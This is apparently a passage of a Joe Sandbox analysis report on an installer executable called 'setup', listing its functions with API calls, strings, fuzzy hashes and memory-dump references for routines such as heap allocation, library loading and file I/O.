Instruction Fuzzy Hash: 9301F771B40644EFC310EB59DD02B19B3B4E70AB30F144326EE31AB3C0CA71BA048B52

Function 00D99720 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,0000000D,00000001,?,00D97F74,00000001,00000364,00000001,00000006,000000FF,?,00D8142C,0000000B,00000009,00000009), ref: 00D99761

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4465cbe7382cb8ef3a4627ae1fe176e67da5aeb91f6e9298fe50badbaa310e52
Instruction ID: a348efbaa3341ea12f4806906a88e2338402ce45b70c28ab446868803f81fd9d
Opcode Fuzzy Hash: 4465cbe7382cb8ef3a4627ae1fe176e67da5aeb91f6e9298fe50badbaa310e52
Instruction Fuzzy Hash: DEF0E931530624ABEF213FEEAD11B9AB7C9EF41770B188019B805AB080DE20D80186F1

Function 00BAA9B0 Relevance: 1.5, APIs: 1, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D81AEA: RaiseException.KERNEL32(E06D7363,00000001,00000003,00000009,?,00000009,?,00D7D7B0,00000009,00E965FC,00000000,00000009), ref: 00D81B4A

RtlAllocateHeap.NTDLL(?,00000000,?,E5106CA8,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00BA11E6,80004005,E5106CA8,?,00DAA90F), ref: 00BAA9FA

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AllocateExceptionHeapRaise
String ID:
API String ID: 3789339297-0
Opcode ID: 791575064c38c9ce17e6c8ffcfda8aebd8a9d11cb7ece28f7b9e4b7075e33328
Instruction ID: 5437f2b4f79dd54f5ecbf7b461b5ed4637e998ac252313206926038e89d6ffab
Opcode Fuzzy Hash: 791575064c38c9ce17e6c8ffcfda8aebd8a9d11cb7ece28f7b9e4b7075e33328
Instruction Fuzzy Hash: FFF0A031A48248FFCB05DF54DC02F5ABBA8FB09B10F10866AF915926A0DB36A905CB64

Non-executed Functions

Function 00BB6670 Relevance: 12.4, APIs: 8, Instructions: 389nativememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB6B00: EnterCriticalSection.KERNEL32(00EA699C,E5106CA8,00000002,00000000,00DAB45D,000000FF,?,00BB5A77,00000002,00000000,E5106CA8), ref: 00BB6B3D
Part of subcall function 00BB6B00: LoadCursorW.USER32(00000000,00007F00), ref: 00BB6BB8
Part of subcall function 00BB6B00: LoadCursorW.USER32(00000000,00007F00), ref: 00BB6C5E

SysFreeString.OLEAUT32(00000000), ref: 00BB6713
NtdllDefWindowProc_W.NTDLL(?,?,00000001,?), ref: 00BB6844
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00BB6926
GlobalLock.KERNEL32(00000000), ref: 00BB6934
GlobalUnlock.KERNEL32(?), ref: 00BB6988
SysFreeString.OLEAUT32(00000000), ref: 00BB6A2C
NtdllDefWindowProc_W.NTDLL(?,?,?,00000000), ref: 00BB6A73
SysFreeString.OLEAUT32(00000000), ref: 00BB6A92

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: FreeGlobalString$CursorLoadNtdllProc_Window$AllocCriticalEnterLockSectionUnlock
String ID:
API String ID: 306625881-0
Opcode ID: 62e8abd6381b3f7f5024074446f5d45e5ec1f76b1de1c1e90b601dc42c2d9b00
Instruction ID: 216102286f4eae4a2085ab877fc3cb273e191611e8525b8403460f4dbf7dacdc
Opcode Fuzzy Hash: 62e8abd6381b3f7f5024074446f5d45e5ec1f76b1de1c1e90b601dc42c2d9b00
Instruction Fuzzy Hash: 47D1AE71900205AFDF10DFA5CC48BBEBBF8EF45714F1481A9E911A7290DBB99E04CBA1

Function 00D7F896 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00D7F7B2,00000000,?,00D7F94A,00000000,?,?,00BB8164,?), ref: 00D7F898
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000,?,?,00BB8164,?), ref: 00D7F8BF
HeapAlloc.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F8C6
InitializeSListHead.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F8D3
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00BB8164,?), ref: 00D7F8E8
HeapFree.KERNEL32(00000000,?,?,00BB8164,?), ref: 00D7F8EF

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: b8388a6902e59a8ae240f1d3d175cc0e65c70fc1a13d590b55eb4f2920c65cb9
Instruction ID: aaa7302cbc80432ba9c6d3cc009c2f6a3e5db9f3acee5ac09d83a4ccde6d1afd
Opcode Fuzzy Hash: b8388a6902e59a8ae240f1d3d175cc0e65c70fc1a13d590b55eb4f2920c65cb9
Instruction Fuzzy Hash: C7F04F71741602DFE7209F7AAC08B1676E8EF99712F244539F945E3250EB31C845CA71

Function 00BB5FA7 Relevance: 7.9, APIs: 5, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 459b9e69d198fa0aa10f426e85a8a9a0fda0477f50ffa21e79a4a28b7c5d1165
Instruction ID: 554a575f8e64b48ef56620cf1cdecd84fe584e1de509e883c2815028d1f0da13
Opcode Fuzzy Hash: 459b9e69d198fa0aa10f426e85a8a9a0fda0477f50ffa21e79a4a28b7c5d1165
Instruction Fuzzy Hash: B1D1CE71A012059FDB10EF69DC84BBEBBF8EF45310F2441A9E905E7291DBB99D04CBA1

Function 00CAA9B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 367COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00000000), ref: 00CAACDA

Strings

NumberValidationTipTitle, xrefs: 00CAAA25
Segoe UI, xrefs: 00CAACB1
NumberValidationTipMsg, xrefs: 00CAAB15

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: NumberValidationTipMsg$NumberValidationTipTitle$Segoe UI
API String ID: 0-2319862951
Opcode ID: e3dde65f2beaeb9e5768ec9d6a56e04446ed6b7fb23a9c0bf44ce35239333e13
Instruction ID: 426aa9ecf198101c19ab60b7a9f6535b9078ce07a526a181c5cf03bba133c13f
Opcode Fuzzy Hash: e3dde65f2beaeb9e5768ec9d6a56e04446ed6b7fb23a9c0bf44ce35239333e13
Instruction Fuzzy Hash: 39D1D331A00605AFEB14CF24CC95BEEB7F1FF49304F108699E55AA72D1DB746A49CB90

Function 00CC76D0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 390libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Advapi32.dll,E5106CA8,?,00000000), ref: 00CC7761
GetLastError.KERNEL32(?,00000000), ref: 00CC778F

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,E5106CA8,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00BA11E6,80004005,E5106CA8,?,00DAA90F), ref: 00BAA9FA

GetProcAddress.KERNEL32(00000000,ConvertStringSidToSidW), ref: 00CC77A5
FreeLibrary.KERNEL32(00000000,?,00000000), ref: 00CC77BE
GetLastError.KERNEL32(?,00000000), ref: 00CC77CB
GetLastError.KERNEL32 ref: 00CC79B9
GetLastError.KERNEL32 ref: 00CC7A1E

Strings

Advapi32.dll, xrefs: 00CC775C
ConvertStringSidToSidW, xrefs: 00CC779F

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: ErrorLast$Library$AddressAllocateFreeHeapLoadProc
String ID: Advapi32.dll$ConvertStringSidToSidW
API String ID: 3460774402-1129428314
Opcode ID: db11c3bf66e9d273c9b2e9935a426c49aadd023e462c544fab9d578f819bc14e
Instruction ID: cdc7d3bb30cb49d0c10d8ca24c22ea7e33547cd59e4efebd0dd9b9e108aeb7f5
Opcode Fuzzy Hash: db11c3bf66e9d273c9b2e9935a426c49aadd023e462c544fab9d578f819bc14e
Instruction Fuzzy Hash: 9EF157B1C05209AFDB10DF94C945BEEBBB4FF04310F248229E915B7290E775AA59CFA1

Function 00BDC690 Relevance: 21.4, APIs: 4, Strings: 8, Instructions: 358libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00000043), ref: 00BDC7B8
GetProcAddress.KERNEL32(00000000,InitializeEmbeddedUI), ref: 00BDC7D1
GetProcAddress.KERNEL32(00000043,ShutdownEmbeddedUI), ref: 00BDC7DD
GetProcAddress.KERNEL32(00000043,EmbeddedUIHandler), ref: 00BDC7EA

Part of subcall function 00BAA9B0: RtlAllocateHeap.NTDLL(?,00000000,?,E5106CA8,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00BA11E6,80004005,E5106CA8,?,00DAA90F), ref: 00BAA9FA

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

Strings

build , xrefs: 00BDC8DF
d71a6aa0, xrefs: 00BDC8EE
20.9, xrefs: 00BDC8CA
SELECT `Data` FROM `Binary` WHERE `Name` = 'InstallerAnalytics.dll', xrefs: 00BDC719
InitializeEmbeddedUI, xrefs: 00BDC7CB
INAN, xrefs: 00BDC6C5
ShutdownEmbeddedUI, xrefs: 00BDC7D3
EmbeddedUIHandler, xrefs: 00BDC7DF

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AddressProc$HeapInit_thread_footer$AllocateLibraryLoadProcess
String ID: build $20.9$EmbeddedUIHandler$INAN$InitializeEmbeddedUI$SELECT `Data` FROM `Binary` WHERE `Name` = 'InstallerAnalytics.dll'$ShutdownEmbeddedUI$d71a6aa0
API String ID: 2564778481-2118497109
Opcode ID: 5bb7c95a19edc89883312135c84d6e3867f7c0cf7e1a2d0c274fe7cc9954869c
Instruction ID: 7d17eee2ebf4477023d65591a277e1b6ff18fa4f8856fac3cb5fc36f9b07aeab
Opcode Fuzzy Hash: 5bb7c95a19edc89883312135c84d6e3867f7c0cf7e1a2d0c274fe7cc9954869c
Instruction Fuzzy Hash: 04D17E7190020AAFDB04DFA4CC55BEEBBF4FF09714F14465AE815A7391EB74AA44CBA0

Function 00BAEED0 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 233libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(combase.dll,RoGetActivationFactory), ref: 00BAEEDE
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00BAEEE4
LoadLibraryW.KERNEL32(combase.dll,CoIncrementMTAUsage,?,?), ref: 00BAEF17
GetProcAddress.KERNEL32(00000000,combase.dll), ref: 00BAEF1D
LoadLibraryW.KERNEL32(?,.dll,00000004,-00000001,00000000,00E172AC,00000000,00000000,00000000), ref: 00BAF03D
GetProcAddress.KERNEL32(00000000,DllGetActivationFactory), ref: 00BAF086

Strings

.dll, xrefs: 00BAF024
combase.dll, xrefs: 00BAEED9, 00BAEF12
RoGetActivationFactory, xrefs: 00BAEED4
CoIncrementMTAUsage, xrefs: 00BAEF0D
DllGetActivationFactory, xrefs: 00BAF080

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$combase.dll
API String ID: 2574300362-2454113998
Opcode ID: e530c54735ffe84c9857d1c15b02269090619b693cc172bf17b5b4c7ee1a6992
Instruction ID: 87ddb64ee7b5ea7efabc44630063662377239f460908492a55eb4e34f2498939
Opcode Fuzzy Hash: e530c54735ffe84c9857d1c15b02269090619b693cc172bf17b5b4c7ee1a6992
Instruction Fuzzy Hash: 24916C30D0820AEFDB24DFA8C895BEDB7F1EF59300F248169E411B7291EB719A45CB60

Function 00BB6B00 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 119COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00EA699C,E5106CA8,00000002,00000000,00DAB45D,000000FF,?,00BB5A77,00000002,00000000,E5106CA8), ref: 00BB6B3D
LoadCursorW.USER32(00000000,00007F00), ref: 00BB6BB8
LoadCursorW.USER32(00000000,00007F00), ref: 00BB6C5E
LeaveCriticalSection.KERNEL32(00EA699C), ref: 00BB6CB3

Strings

0, xrefs: 00BB6C43
WM_ATLGETHOST, xrefs: 00BB6B49
WM_ATLGETCONTROL, xrefs: 00BB6B54
AtlAxWinLic140, xrefs: 00BB6C1F, 00BB6C75
AtlAxWin140, xrefs: 00BB6B6F, 00BB6BD3
v, xrefs: 00BB6CB3

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalCursorLoadSection$EnterLeave
String ID: v$0$AtlAxWin140$AtlAxWinLic140$WM_ATLGETCONTROL$WM_ATLGETHOST
API String ID: 3727441302-556780245
Opcode ID: ef574327c052801ff36cc9b966d51d2b8b2098062b6490566f3731ea32de6f4c
Instruction ID: ea7993f295b3026148d952e67481dbb2ad69d9be38a51eac408fac067267e119
Opcode Fuzzy Hash: ef574327c052801ff36cc9b966d51d2b8b2098062b6490566f3731ea32de6f4c
Instruction Fuzzy Hash: BB51F4B1C01218AFDB11CFA5D855BEEBBF8FB09314F14026AE504F7291DBB55A49CBA0

Function 00D8AA27 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 487COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00D8ADFF

Strings

p, xrefs: 00D8AB86
f, xrefs: 00D8AB7F
p, xrefs: 00D8AB24
f, xrefs: 00D8AB39
f, xrefs: 00D8AB1D
p, xrefs: 00D8AB40
:, xrefs: 00D8AAF2

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: __aulldiv
String ID: :$f$f$f$p$p$p
API String ID: 3732870572-1434680307
Opcode ID: 3b65c5932bf440d7ad3596d66a5a4aba67dfb1bbbd0858029a693efee8d38b20
Instruction ID: 241fc3534a01892f4eee872c5ee23e96d50ffbaad4f3d7210d73c74e5cc4a89f
Opcode Fuzzy Hash: 3b65c5932bf440d7ad3596d66a5a4aba67dfb1bbbd0858029a693efee8d38b20
Instruction Fuzzy Hash: A202A4B5A002189BEF24AF6CC4446EEB7B6FF40B14F648117E555BB284D3348E85CB76

Function 00CCF460 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 414fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAACF0: GetProcessHeap.KERNEL32 ref: 00BAAD45
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAD77
Part of subcall function 00BAACF0: __Init_thread_footer.LIBCMT ref: 00BAAE02

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,E5106CA8,000000D8,?), ref: 00CCF5A9
CloseHandle.KERNEL32(?), ref: 00CCF91A

Part of subcall function 00CCF370: LoadStringW.USER32(000000D8,?,00000514,E5106CA8), ref: 00CCF3C6

ReadFile.KERNEL32(00000000,00000000,00001000,?,00000000,00001000), ref: 00CCF61B
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,00000000), ref: 00CCF8BC

Strings

Ls, xrefs: 00CCF90B

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: File$Init_thread_footerRead$CloseCreateHandleHeapLoadProcessString
String ID: Ls
API String ID: 1714711150-1452845052
Opcode ID: 8c31da1940dfcd06a5524ccb443bc28fe31b74f90edf5da4b783583f83585a19
Instruction ID: 0d26086abd385404b627ca1f36c386ec68767d601a95c8a8a39a41753434aa37
Opcode Fuzzy Hash: 8c31da1940dfcd06a5524ccb443bc28fe31b74f90edf5da4b783583f83585a19
Instruction Fuzzy Hash: 5DF19071D00308DBDB14CFA8C949BAEBBB5FF45714F20826DE425BB291D774AA46CB90

Function 00BBE180 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 150fileCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00BBE26F

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000,?,E5106CAA), ref: 00BBE2C3
CloseHandle.KERNEL32(00000000), ref: 00BBE320

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,E5106CA8,?,?,00DA83BD,000000FF,?,00BA1177,E5106CA8,?,00DAA90F), ref: 00D802A8

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 00BBE387
CloseHandle.KERNEL32(00000000,00D7CF5B), ref: 00BBE3AD

Strings

html, xrefs: 00BBE27C
Ls, xrefs: 00BBE3A1
aix, xrefs: 00BBE281

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2947563281.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948103378.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948275777.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948370821.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948463281.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2948530636.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$CloseEnterFileHandleLeave$ConditionCreateInit_thread_footerVariableWakeWrite
String ID: Ls$aix$html
API String ID: 2030708724-130826793
Opcode ID: 4b1441dd26ffec3ad43189fd9c72b0fe9c48396760419a4178db3966820ff1bc
Instruction ID: 6e73356f5937b870a465dfb3714ad38fac921c0c17de11a5499d7dbcb755e74e
Opcode Fuzzy Hash: 4b1441dd26ffec3ad43189fd9c72b0fe9c48396760419a4178db3966820ff1bc
Instruction Fuzzy Hash: 20619A70901248DFDB10CFA4D949BEEBBF4FB8A708F244159E011BB2D1D7B56948CBA1

Function 00D7F694 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,00D7F98B,00E9FF20,?,00000000,?,?,00BB8C54,00000000), ref: 00D7F6A6
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,?,?,?,00D7F98B,00E9FF20,?,00000000,?,?,00BB8C54,00000000), ref: 00D7F6BB
DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D7F737

Strings

AtlThunk_InitData, xrefs: 00D7F6E3
AtlThunk_FreeData, xrefs: 00D7F711
AtlThunk_AllocateData, xrefs: 00D7F6CC
atlthunk.dll, xrefs: 00D7F6B6
AtlThunk_DataToCode, xrefs: 00D7F6FA

Memory Dump Source

Source File: 00000003.00000002.2947616455.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

